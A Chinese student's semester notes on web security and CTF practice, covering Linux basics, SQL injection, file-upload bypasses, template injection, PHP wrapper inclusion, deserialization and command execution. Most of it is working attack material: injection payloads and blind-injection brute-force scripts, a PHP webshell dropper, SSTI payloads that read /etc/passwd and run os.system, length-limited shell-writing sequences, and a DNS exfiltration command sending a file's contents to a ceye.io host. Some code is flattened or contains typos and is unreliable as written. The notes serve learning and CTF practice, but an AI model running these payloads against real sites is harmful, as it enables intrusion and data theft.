这是大二上学期主要学习的一些知识,分享一下

一、linux常见命令

Linux切换到超级管理员 sudo su

切换到普通用户 su username

touch创建文件

mkdir创建文件夹

mkdir -p ./aaa/bbb/ccc创建aaa/bbb/ccc目录

mv 既可以重命名,又可以移动文件或文件夹

rm -r就是向下递归,不管有多少级目录,一并删除

​ -f就是直接删除,不作任何提示的

cp拷贝

pwd查看当前目录

‘>’ '>>'将命令执行结果重定向输出到文件

ls>filename

ls>>filename将ls结果继续写在filename后面

tail -10 filename 查看filename末尾10行

head -10 filename查看filename头10行

echo ‘123’>a.php,创建一个a.php,并将123写入进去

echo 12345 >a.php

去除文件中的空行

cat 1.txt | tr -s “\n” >2.txt

LInux下直接使用exiftool工具查看图片的元数据

file 可以查看是属于什么文件,(如果发现是ELF文件,说明它是可执行文件,用./来执行一下,如果没有权限用chmod +x 1(1是个文件名)来授予权限)

二、mysql

#cmd

mysql -u root -p

create database tian

use tian

information_schema是系统的

三、SQL注入方法

https://www.cnblogs.com/r00tgrok/p/3854754.html

创建用于实验的数据库和表

Create database newdb;
use newdb
CREATE TABLE users
(
id int(3) NOT NULL AUTO_INCREMENT,
username varchar(20) NOT NULL,
password varchar(20) NOT NULL,
PRIMARY KEY (id)
);

添加部分数据:insert into users(id,username,password)values(1,‘r00tgrok’,‘ohmygod_is_r00tgrok’);

1、or updatexml(1,concat(0x7e,(version())),0) or

b. insert注入:INSERT INTO users (id, username, password) VALUES (2,'Pseudo_Z' or updatexml(1,concat(0x7e,(version())),0) or'', 'security-eng');c. update注入:UPDATE users SET password='security-eng' or updatexml(2,concat(0x7e,(version())),0) or'' WHERE id=2 and username='Pseudo_Z';d. delete注入:DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(version())),0) or'';

2、or extractvalue(1,concat(0x7e,databassczze())) or

3、or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or

insert into users(username,password) values('wangwu' or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or'','22');

4、二次查询注入

insert into users(id,username,password)values(1,'r00tgrok'or(select 1 form(
select count(*),concat((
select concat(0x7e,0x27,cast(database()as char),0x27,0x7e))
from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.columns group by x)a)or'','Bl4ckhat');

5、其他变种

’ or (payload) or ’
’ and (payload) and ’
’ or (payload) and ’
’ or (payload) and ‘=’
‘* (payload) *’
’ or (payload) and ’
" – (payload) – "

题解

insert into (name,text)values(’ ‘,’’,’’);

insert into(name,text)values('\',' ,database())#    ','')
插入:
\
,database())#
由题目table level15_flag column flag
\
,(select falg level15_flag)#

基于SQl的约束攻击

创建数据表

create table user(

id int not null auto_increment,

username varchar(30) not null,

password varchar(30) not null,

primary key(id) );

注册

insert into user values (’’,‘admin’,’123456789’)

查询

select * from user;

select * from user where username=‘admin’ and password=‘123456789’;

如果插入一个大于30位的用户名,将要直插入了前30位,此时如果去查询大于30位的用户名将要查不到

攻击

insert into user values (’’,‘admin 1’, ’111’)

此时数据库中会有俩个admin

报错注入

1、公式:

and select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

x是concat(user(),floor(rand(0)*2))的别名

group by ’id‘ 统计id中每一个元素所出现的次数

a是(select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)的别名

rand()函数生成0~1的函数,使用foor函数向下取整,值是固定的“0”,我们将rand*2,得到的值就是不固定的,“0”或者“1”

2、猜测:

语句执行的时候会建立一个虚拟表,整个工作流程大致如下。开始查

询数据时,读取数据库数据,查看虚拟表是否存在,不存在则插入新记录,

存在则count(*)字段直接加

从select floor(rand(0)*2) from table 可以看到在一次多记录的查询过

程中floor(rand(0)*2)的值是定性的,为011011,应该就是floor(rand(0)*2)被

计算多次导致的

1.查询前默认会建立空虚拟表

2.取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚拟

表,发现0的键值不存在,则floor(rand(0)*2)会被再计算一次,结果为1(第二

次计算),插入虚表,这时第一条记录

3.查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),

查询虚表,发现1的键值存在,所以floor(rand(0)*2)不会被计算第二次,直接

count(*)加1,第二条记录查询完毕查询完毕

4.查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计

算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入

数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第5次计算),

然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯

一),所以插入的时候就直接报错了

由于没加入随机因子,所以floor(rand()*2)是不可测的,因此在两条数

据一样时,即可报错

3、函数

updatexml函数:or updatexml(1,concat(0x7e,(version())),0) 第二个参数需要的是xpath格式的字符串,输出不合适,因此报错;此外,updatexml的最大长度是32位的
and extractvalue(1,concat(0x7e,(select database())))
and exp(~(select * from(select user())a));

4、例题

select * from users where

username=’ ’ and updatexml%23/*

’ and

password=*/(1,concat(0x7e,(version())),0) or 1’

username updatexml,存放函数名

password (),存放函数的参数

fuzz

​ exp()可以直接放在password中,不用将函数名与()分隔开

“=”绕过:like !(<>)(<>就是!=,!!=就是=) regexp(正则)

采用/* */注释方法

import requests
dic='abcdefghijklmnopqlstuvwsyzABCDEFGHIJKLMNOPQLSTUVWSYZ123456789{}_@'
url=''
flag=''
for i in xrange(1,50):for x in dic:guess=flag+xdata={'username':'0\'||0/*','password':'*/ or if((select value from ffll44jj) regexp \'^'+guess+'\',(select count(*) from infromation_schema.columns A,information_schema.columns B,information_schema.columns C),0)or \'0'}try:res=requests.post(url,data,timeout=4)except requests.exceptions.ReadTimeout,e:flag=flag+xprint flagbreak
print flag

时间盲注

if条件触发:

select * from users where username='a' or if(substr((select username from users where id=8),1,1)='a',sleep(3),0);select * from users where id=1 and (if(ascii(substr(database(),1,1))=115,sleep(3),null));

截取函数:substr,substring(可以不使用逗号进行截取)

substr(str from pos for len)
substring(str form pos for len) substring(str,pos) substring(str from pos) substring(str,pos,len)
select * from users where password rlike '^';select * from users where password regexp '^ad';

配合select case when条件触发:(可以绕过逗号)

select case when username='admin' then 'admin' else 'xxxx' end from users;

除了sleep之外的延迟

(1)BENCHMARK(count,expr) BENCHMARK() 函数重复 count次执行表达式 expr 。 它可以被用于

计算 Mysql处理表达式的速度。结果值通常为 0 。select benchmark(10000000,sha(1));

(2)笛卡尔积:select count(*) from information_schema.columns A,information_schema.columns B,information_schema.tables C;

(3)GET_LOCK(str,timeout )

函数使用说明:设法使用字符串str给定的名字得到一个锁, 超时为timeout 秒。

(4)RLIKE

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RbLfsS2B-1610120099625)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20201110092038329.png)]

解题:插入一个IP:127.0.0.1

127.0.0.1’ and sleep(6) or '1 [insert(‘ip’)]

(substr(database(),1,1)=’’,sleep(4),null)

(if(ascii(substr(database(),1,1))=100,sleep(4),null))

127.0.0.1’ and (if(ascii(substring(database() from 1 for 1))<128,sleep(4),null)) or '1

127.0.0.1’ and (select case when ascii(substring(select database() from 1 for 1))<128 then sleep(4) else 1 end ) or '1

import requests
dic='abcdefghijklmnopqlstuvwsyzABCDEFGHIJKLMNOPQLSTUVWSYZ123456789{}_@'
url=''
flag=''
for i in xrange(1,50):for x in dic:headers={"X-Forwarded-For":"x'+(select case when ascii(substring(select database() from %d for 1))='%s' then sleep(4) else 1 end ) or '1" %(i,x)}try:res=requests.get(url,headers=headers,timeout=4)except requests.exceptions.ReadTimeout,e:flag=flag+xprint flagbreak
print flag

bool型的盲注

截取函数

mid(str from pos for len) mid(str,pos,len)

left(str,length)

right(str,length)

ord()

ascii()

题解脚本

import requests
dicts='abcdefghijklmnopqrstuvwsyz0123456789'
flag=''
for x in xrange(1,50):for i in dicts:url=''%(x,ord(i))try:response=requests.get(url,timeout=5)if response.content.find('error password!')!=-1:flag=flag+iprint(flag)breakexcept Exception,e:passprint flag

order_by的注入

&按位与

|按位或

~按位取反

^按位异或

<<按位左移>>按位右移

select * from users order by updatexml(1,concat(0x7e,database()),0);

ASC升序,DESC降序

1、在不知道列名的情况下可以通过列的的序号来指代相应的列。

但是经过测试这里无法做运算,如瀂瀅de瀅=3-1 和瀂瀅de瀅=2是

不一样的。

2、当order by注入能过返回错误信息时,也可以考虑使用报错

注入

3、根据不同的列排序,会返回不同的结果,因此这里其实可以

使用类似于bool盲注的形式来注入,即使判断的结果与某

种返回内容相关联,来实现注入,同理,在bool型注入可以

的情况下,一般也能使用基于时间的盲注

4、Order by可以根据多列排序,因此注入的语句不一定限制与

order by的第一个参数,也可以通过逗号去对新的列进行注

select * from users order by id|if(1,2,1);

题解

https://chall.tasteless.eu/level1/index.php?dir=|()+1;如果是返回是正确的就会出现是二的页面,如果是错误的返回的是1的页面,也就是说通过与1界面的比对,类似于布尔盲注

= (select flag from level1_flag) regexp ‘^a’

import requests
dic='1234567890abcdefghijklmnopqrstuvwsyzABCDEFGHIJKLMNOPQRSTUVWSYZ'
flag='^'
common_url="http://chall.tasteless.eu/level1/index.php?dir=|1"
common_content=requests.get(common_url).content
for i in range(50):for letter in dic:payload=flag+letterurl="http://chall.tasteless.eu/level1/index.php?dir=|(select flag from level1_flag)regexp "+"'"+payload"'"+")%2b1"print(url)content=requests.get(url).contentif(content!=common_content):flag=payloadprint(flag)break

(select 1,2,3 order by 3)union(select 2,3,4)

?dir=,3)union(select 1,flag from |level1_flag)%23

desc相关注入

desc 是describe的缩写,提供一个表的信息。desc users;可以有两个参数

反引号的作用是在保留字段上生效

mysqli_query($mysqli,"desc `secret_{$table}`")
$sql="select 'flag{xxxx}'from secret_{$table}";
desc secret_$table
$table=aa union select 1,2,3
from secret_{$table}union select 1
desc `secret_test`  ` union select database`
select 'flag{xxx}'from sectret_test` `union select database()`;
?table=test` `union select database()limit 1 offset 1

万能密码

select * from admin where username=’’ and password=’’

admin’#

‘+’ ‘+’

0

aaa’=’’

\N(NULL)

四、文件上传

客户端校验–js校验

抓包改包;禁用js

服务端校验

–content-type校验

GIF MIME类型:image/gif

png MIME类型:image/png

jpg MIME类型:image/jpeg

js MIME类型:text/javascript

htm MIME类型:text/html

html MIME类型:text/html

–黑名单

  • 大小写绕过,例如Php,PhP

  • 利用黑名单中没有的,但是又能够被解析的后缀名,例如php\php3\php4\php5\php7\pht\phtml\phps

  • 配合Apache的.htaccess文件上传解析

    <FilesMatch "andog.jpg">
    SetHandler application/x-httpd-php
    </FilesMatch>
    
  • 使用00截断

  • 超长文件名截断上传

–白名单

(1)配合apache解析漏洞:Apache是从后面开始检查后缀,按最后一个合法后缀

–文件内容头的校验

getimagesize()取得图像的大小,如果不能访问filename指定的图像或者不是有效的图像,getimagesize()将返回false

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u2c656Ky-1610120099628)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20201111074734524.png)]

在恶意脚本前加上允许上传的头标识

GIF89a

<?php phpinfo();?>

–竞争上传

(文件上传后,检查是否合法,不合法就删除;意味着文件存在于服务器上过,只是存在的时间很短,所以理论上还是能够访问到的)

<?php
$file='web.php';
$shell='<?php eval($_POST["key"])?>';
file_put_contents($file,$shell);
?>

利用上传的脚本生成另一个脚本

利用burp的爆破,分别先爆破访问和上传的,然后再访问web.php

五、题解

robots

robots.txt web爬虫用来检测是否允许其搜索网站,用简单直接的txt格式文本方式告诉对应的爬虫被允许的权限。

首先访问/robots.txt得到不能访问的文件,然后再去访问此文件

模板注入–攻防世界

ssti要被:{{}}包括;ssti的主要目的就是从这么多的子类中找出可以利用的类加以利用

1、常用ssti的魔术方法

__class__返回类型所属的对象
__mro__返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析
__base__返回该对象所继承的基类
//__mro__和__base__都是来寻找基类的__subclasses__每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的引用的列表
__init__类的初始化方法
__globals__对包含函数全局变量的字典的引用
__builtins__ builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块

2、获取基类的几种方法

[].__class__.base__
''.__class__.__mro__[2]
().__class__.__base__
{}.__class__.__base__

3、获取基本类的子类

[].__class__.__base__.__subclasses__()

4、可以利用的方法有<type ‘file’>(file一般是第40号)

().__class__.__base__.subclasses__()[40]('/etc/passwd').read()
利用file读取了/etc/passwd

5、先寻找万能的os模板,来读取目录,os一般在71号

直接调用system函数:().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
当然,某些情况下system函数会被过滤。这时候也可以采用os模块的listdir函数来读取目录。(可以配合file来实现任意文件读取)().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')  #读取本级目录
另外在某些不得已的情况下可以使用以下方式来读取文件。(没见过这种情况)。方法一:
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()    #把 read() 改为 write() 就是写文件
方法二:存在的子模块可以通过 .index()方式来查询>>> ''.__class__.__mro__[2].__subclasses__().index(file)
40
用file模块来查询。>>> [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

题解:

{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

URL http://220.249.52.133:37452/[‘fl4g’, ‘index.py’] not found

{{[].__class__.__base__.__subclasses__()[40]('fl4g').read()}}

常用的payload:

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('catfl4g').read()''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

php_include

方法一:

利用php伪协议大小写绕过?page=PHP://input

传入<?php system('ls'); ?>

方法二:

?page=data://text/plain,<?php system("ls")?>

方法三:

<?php @eval($_POST[666]); ?> base64加密后拼接

常用伪协议用法:

伪协议常常用于文件包含漏洞中,在php中能够造成文件包含的函数:include()函数,require()函数,file_get_contents()函数:把整个文件读入到一个字符串中,file()函数:把整个文件读入到一个数组中

1.php伪协议
用法
php://input,用于执行php代码,需要post请求提交数据。
php://filter,用于读取源码,get提交参数。

?a=php://filter/read=convert.base64-encode/resource=xxx.php
需要开启allow_url_fopen:php://input、php://stdin、php://memory、php://temp
不需要开启allow_url_fopen:php://filter

2.、data协议

用法:
data://text/plain,xxxx(要执行的php代码)
data://text/plain;base64,xxxx(base64编码后的数据)
例:
?page=data://text/plain,
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

3.、file协议
用法:
file://[本地文件系统的绝对路径]

PHP_RCE

在GitHub上查找漏洞

supersqli

1.输入1’发现回显不正确,然后1‘#显示正常,应该存在sql注入

2.-1’;show databases#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-O79QQZ9R-1610120099629)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20201112215145280.png)]

3.-1’;show tables;#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qmJvUHLc-1610120099632)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20201112215246698.png)]

4、因为select被绕过,所以需要使用预编译
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
1';use supersqli;set @sql=concat('s','elect * from `1919810931114514`');PREPARE pre FROM @sql;EXECUTE pre;--+

知识点:

MySQL表名为纯数字时(表名和保留字冲突时)要加反引号

Mysql官方将prepare,execute,deallocate统称为PREPARE STATEMENT,也就是预处理语句

web2

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";function encode($str){$_o=strrev($str);#逆序// echo $_o;for($_0=0;$_0<strlen($_o);$_0++){$_c=substr($_o,$_0,1);$__=ord($_c)+1;#ascii值加一$_c=chr($__);$_=$_.$_c;   } return str_rot13(strrev(base64_encode($_)));#base64加密,然后逆序,然后再rot13加密
}highlight_file(__FILE__);
/*逆向加密算法,解密$miwen就是flag
*/
?>
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$m=base64_decode(strrev(str_rot13($miwen)));
for($i=0;$i<strlen($m);$i++){$a=substr($m,$i,1);$b=ord($a)-1;$a=chr($b);$flag=$flag.$a;
}
highlight_file(__FILE__);
echo strrev($flag);
?>

unserialize3

<?php
highlight_file(__FILE__);
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a=new xctf();
echo serialize($a);
?>
O:4:“ xctf”:1:{s:4:“ flag”; s:3:“ 111”;}

_wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行_wakeup()函数,大括号前的1便是属性的个数,只需对其进行更改便可以绕过_wakeup(),使_wakeup(函数失效)

payload:O:4:“ xctf”:2:{s:4:“ flag”; s:3:“ 111”;}

Web_php_unserialize

<?php
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } }
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); }
} else { highlight_file("index.php");
}
?>

首先定义了一个demo类,然后发现初始化改变file值,而且,有一段注释:the secret is in the fl4g.php

如果demo类被销毁,则会高亮显示file所指向的文件的类容

demo中还有一个魔法函数就是_wakeup(),这个函数作用就是反序列化时,会自动执行,所以想反序列化,那么必须要绕过这个函数,绕过这个函数很简单,只要我们的实际参数小于当前参数的个数就可以绕过。

这里进行了变量的传入,使用的方法时get传参

1.首先base64加密

2.使用了preg_match()匹配函数,如果匹配上了,就结束。如果没有则就将这个对象反序列化

所以这里要想办法绕过这个匹配函数。preg_match()匹配的为o或c:任意长度数字(至少一个) i表示匹配时不区分大小写

接下来我们先将所给的类反序列化

<?php
highlight_file(__FILE__);
class Demo { private $file = 'fl4g.php';
}
$x= serialize(new Demo);
$x=str_replace('O:4', 'O:+4',$x);//绕过preg_match()
$x=str_replace(':1:', ':3:',$x);//绕过__wakeup()
echo base64_encode($x);?>

easytornado

flag in /fllllllllllllag

md5(cookie_secret+md5(filename))

3bf9f6cf685a6dd8defadabfb41a03a1

786fc9ed-9501-4971-9004-b2b856a5a6a2

B2CD5AF49DBE7DD608C6F12FD167C7FB

shrine(SSTI模板注入)

import flask
import os
app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/')
def index(): return open(__file__).read() @app.route('/shrine/')
def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine))if __name__ == '__main__': app.run(debug=True)

首先http://220.249.52.133:58681/shrine/{{2*8}} 返回16确定存在SSTI注入

将config和self当成了黑名单,而flag在config文件中,如果没有黑名单可以通过{{config}}或{{self.dict}}获取

get_flashed_messages    //字面意思,获取内容,就是取值,后面跟的就是要取得值

current_app         //设计模式中代理设计的代理对象,指向flask核心对象和reques的请求类

payload:

{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

mfw

首先他用了git,可能会出现git泄露,用python GItHack.py url 扫描出一个index.php,下面是主要内容

<?php
if (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}$file = "templates/" . $page . ".php";// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
#file_exists()函数检查文件或目录是否存在
?>
首先绕过第一个,将strpos闭合,然后把后面的给注释掉
构造payload:?page=').system("cat templates/flag.php");//
然后查看页面源代码发现flag

六、文件包含

本地文件包含漏洞可以让php包含自身从而导致死循环,然后php就会崩溃,如果请求中同时存在一个上传文件的请求的话,这个文件就会被保留

include.php?file=php://filter/string.strip_tags/resource=/etc/passwd

代码/命令执行

web服务器没有过滤类似system(),eval(),exec()等函数的传入参数是该漏洞攻击成功的最主要原因

eval()--把字符串作为php代码执行
<?php
highlight_file(_FILE_);
$a='phpinfo();';
eval($a);
?>

assert–检查一个断言是否为flase

<?php
error_reporting(E_ALL);
highlight_file(_FILE_);
#$a='echo 12345;';
#assert($a);
$a='eval("echo`pwd`;")';
assert($a);
echo 123;
?>

mixed call_user_func(callablecallback[,mixedcallback[,mixedcallback[,mixedparameter[,mixed$…]])callback是将被调用的回调函数,parameter是0个或以上的参数,被传入回调函数
可以传递任何内置的或者用户自定义的函数
除了语言结构如array(),echo(),empty(),eval(),exit(),isset(),list(),print() 和 unset()

<?php
highlight_file(_FILE_);
$a='system';
$b='pwd';
call_user_func($a,$b);
call_user_func('assert','phpinfo()');
?>

mixed call_user_func_array ( callable $callback , array $param_arr )
callback被调用的回调函数,param_arr要被传入回调函数的数组。

<?php
highlight_file(_FILE_);
$a='assert';
$b=array('phpinfo()');
call_user_func_array($a,$b);
?>

string create_function ( string $args , string $code )
create_function — Create an anonymous (lambda-style) functioargs是要创建的函数的参数,code是函数内的代码。

<?php
highlight_file(_FILE_);
$a=create_function('$code','echo $code;');
$b='hello';
$a($b);$a='phpinfo();';
$b=create_function('',$a);
$b();
?>

preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int KaTeX parse error: Expected 'EOF', got '&' at position 19: …it = -1 [, int &̲count ]] )

执行一个正则表达式的搜索和替换

/e 修正符使 preg_replace将 replacement 参数当做 PHP 代码【在适当的逆向引用和替换完之后】

<?php
highlight_file(_FILE_);
$a='phpinfo()';
$b=prep_replace('/abc/e',$a,'abcd');
var_dump($b);
?>

array array_map ( callable $callback , array $array1 [, array $… ] )

array_map — 为数组的每个元素应用回调函数

<?php
highlight_file(_FILE_);
$a=$_GET['a'];
$b=$_GET['b'];
$array[0]=$b;
$c=array_map($a,$array);
?>
http://localhost/text.php?a=assert&b=phpinfo()
<?php
highlight_file(_FILE_);
$a=$_GET['a'];
$b=$_GET['b'];
#$array[0]=$b;
$c=array_map($a,$b);
?>
http://localhost/text.php?a=assert&b[]=phpinfo()

bool usort ( array &$array , callable $value_compare_func )

usort — 使用用户自定义的比较函数对数组中的值进行排序

<?php
highlight_file(_FILE_);
usort(...$_GET);
#usort($_GET[1],'assert');
?>

bool uasort ( array &$array , callable $value_compare_func )

uasort — 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联

<?php
highlight_file(_FILE_);
$e='assert';
$arr=array($_REQUEST['pass'],'test');
uasort($arr,$e);
?>

${php代码}

${phpinfo()};

<?php
highlight_file(_FILE_);
${phpinfo()};
?>

命令注入

string system(string command, int &return_var)

可以用来执行系统命令并将相应的执行结果输出

<?php
highlight_file(__FILE__);
system('pwd');
system('whoami');
?>

string exec (string command, array &output, int &return_var)

command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值

命令执行结果的最后一行内容。

如果你需要获取未经处理的全部输出数据, 请使用 passthru() 函数。

如果想要获取命令的输出内容, 请确保使用 output 参数。

<?php
highlight_file(__FILE__);
var_dump(exec('ls'));
exec('ls',$b);
var_dump($b);
?>

void passthru (string command, int &return_var)

command是要执行的命令,return_var存放执行命令后的状态值

<?php
highlight_file(__FILE__);
passthru('ls');
?>

string shell_exec (string command)

command是要执行的命令

<?php
highlight_file(__FILE__);
var_dump(shell_exec('ls'));
?>

**``**运算符

与shell_exec功能相同,执行shell命令并返回输出的字符串

<?php
highlight_file(__FILE__);
$a='pwd';
echo `$a`;
?>

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

ob_start — 打开输出控制缓冲

<?php
highlight_file(__FILE__);
$cmd='system';
ob_start($cmd);
echo "$_GET[a]";
ob_end_flush();
?>

命令执行的绕过

分隔符

换行符%0a

回车符 %0d

连续指令 ;

后台进程 &

管道符 |

(逻辑?)|| &&

空格代替

<符号

$IFS ${TFS} $IFS$9

%09用于url传递

绕过

a=l;b=s;aaab

`echo d2hvYW1p|base64 -D`
base64编码(whoami的base64编码是d2hvYW1p)

命令无回显的形况

判断:

延时(sleep)

HTTP请求(curl +IP)

DNS请求(可以用ceye这个平台)

利用:

写shell(直接写入/外部下载)

http/dns等方式带出数据

题解:

<?php
highlight_file(__FILE__);
include("where_is_flag.php");
echo "ping";
$ip=(string)$_GET["ping"];
$ip=str_replace(">","0.0",$ip);
shell_exec("ping ".$ip);
?>
<?php #flag{1qazcde3}
<?php $flag='qwerasdf/flag.php';
本题思路:
读取where_is_flag.php
拼接域名
ping -denslog
因为ping的命令中不能有空格,所以要用sed s/[[:space:]]//去掉域名
http://localhost/text.php/?ping=`cat%20where_is_flag.php|sed%20s/[[:space:]]//`.php.pqpfh6.ceye.io

"substr string pos len"用法示例。

该表达式是从string中取出从pos位置开始长度为len的子字符串。如果pos

或len为非正整数时,将返回空字符串。

echo "${PATH:0:1}”echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`”echo `$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)`expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1
$(pwd)和pwd作用是一样的
pwd代表的是命令执行,而$PWD表示环境变量
\  \用来分隔开命令,来确定命令有多长

可控字符串长度受限形况下GETSHELL

15个字符

<?php
highlight_file(__FILE__);
if(strlen($_GET[1])<15){echo strlen($_GET[1]);echo shell_exec($_GET[1]);
}
else{
exit('too long');
}
?>
wget url/1.php
mv 1 1.php
echo \<?php>1
echo ()>>1
5     6  3
要写一个1.php文件内容为
<?php
eval $_GET[1];
但是长度大于15所以要分开写入
?1=echo \<?php>1     <前要有\,写入到1文件
?1=echo eval\(>>1    (前要有\,>>表示追加到文件后面
?1=echo \$_GET>>1
?1=echo \[1\]>>1
?1=echo \)\;>>1
?1=mv 1 2.php
在访问2.php传入?1=phpinfo();就。。

7个字符

<?php
highlight_file(__FILE__);
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
?>
命令>文件名;结果输出到文件>生成文件名
ls -t>a 文件名写入a
sh a执行写入的a
长命令 \换行分隔
欠缺顺序   ls -techo <?php phpinfo();
echo PD9waHAgcGhwaW5mbygp0w==|base64 -d >1.php
import requests
url1='http://localhost/text.php?1="
with open("file.txt","r") as f:for i in f:url=url1+i.strip()requests.get(url)
res=requests.get("http://localhost/1.php")
if res.status_code:print('ok')
file.txt文件
w>hp
w>1.p\\
w>d\>\\
w>\ -\\
w>e64\\
w>bas\\
w>7\|\\
w>XSk\\
w>Fsx\\
w>dFV\\
w>kX0\\
w>bCg\\
w>XZh\\
w>AgZ\\
w>waH\\
w>PD9\\
w>o\ \\
w>ech\\
ls -t>0
sh 0

5个字符

<?php
$sandbox='/www/sandbox/'.md5("orange".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if(issert($_GET['cmd'])&&strlen($_GET['cmd'])<=5){@exec($_GET['cmd']);
}else if(isset($_GET['reset'])){
@exec('/bin/rm -rf'.$sandbox);
}
highlight_file(__FILE__);
类似于上面的file.txt,只要将w>...改为5位的,可以直接写成>,没有w
现在要解决的是ls -t>0这个命令
>ls\\
ls>a
>\ \\    #生成空格
>-t\\
>\>0
ls>>a
sh a

4个字符

<?php
$sandbox='/www/sandbox/'.md5("orange".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if(issert($_GET['cmd'])&&strlen($_GET['cmd'])<=4){@exec($_GET['cmd']);
}else if(isset($_GET['reset'])){
@exec('/bin/rm -rf'.$sandbox);
}
highlight_file(__FILE__);
ls -th >0
>f\>
>ht-
>sl
>dir
*>v
>rev
*v>0

无字母数字

将非字母数字的字符经过各种变换,最后能构造出a-z中任意一个字符
<?php
highlight_file(__FILE__);
$a='~!@#$%^&*()_+|\/?.>,<`{}=[]';
for($i=0;$i<strlen($a);$i++){for($j=0;$j<strlen($a);$j++){if(ord($a[$i]^$a[$j])>64&&ord($a[$i]^$a[$j])<91){echo $a[$i].'xor'.$a[$j].'is';echo chr(ord($a[$i]^$a[$j])).' ';echo ord($a[$i]^$a[$j]);echo "\n<br>";}elseif (ord($a[$i]^$a[$j])>96&&ord($a[$i]^$a[$j])<122){echo $a[$i].'xor'.$a[$j].'is';echo chr(ord($a[$i]^$a[$j])).' ';echo ord($a[$i]^$a[$j]);echo "\n<br>";}}
}
取反

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-f76rASud-1610120099634)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20201113112926642.png)]

自增

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zFVOAHjO-1610120099636)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20201113113012194.png)]

题解:

<?php
include 'flag.php';
if (isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("Long.");}if(pre_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}else{highlight_file(__FILE__);
}
//$hint='php function getFlag() to get falg';
?>
http://localhost/text.php/?code=$_='<>]=@^<'^'[[){,?[';$_();

反序列化

内存数据是“稍纵即逝”的;——通常,程序执行结束,立即全部销毁。

变量所存储的数据,就是内存数据;文件是“持久数据”;

序列化:

就是,将内存的变量数据,“保存”到文件中的持久数据的过程。

简化就是:将内存变为文件;

反序列化:

就是,将序列化过存储到文件中的数据,恢复到程序代码的变量表示形式

的过程。

简化就是:将文件变为内存;

相关函数(代码注入)

serialize()

unserialize()

题解:

<?php
class Flag{//flag.php
public $file;
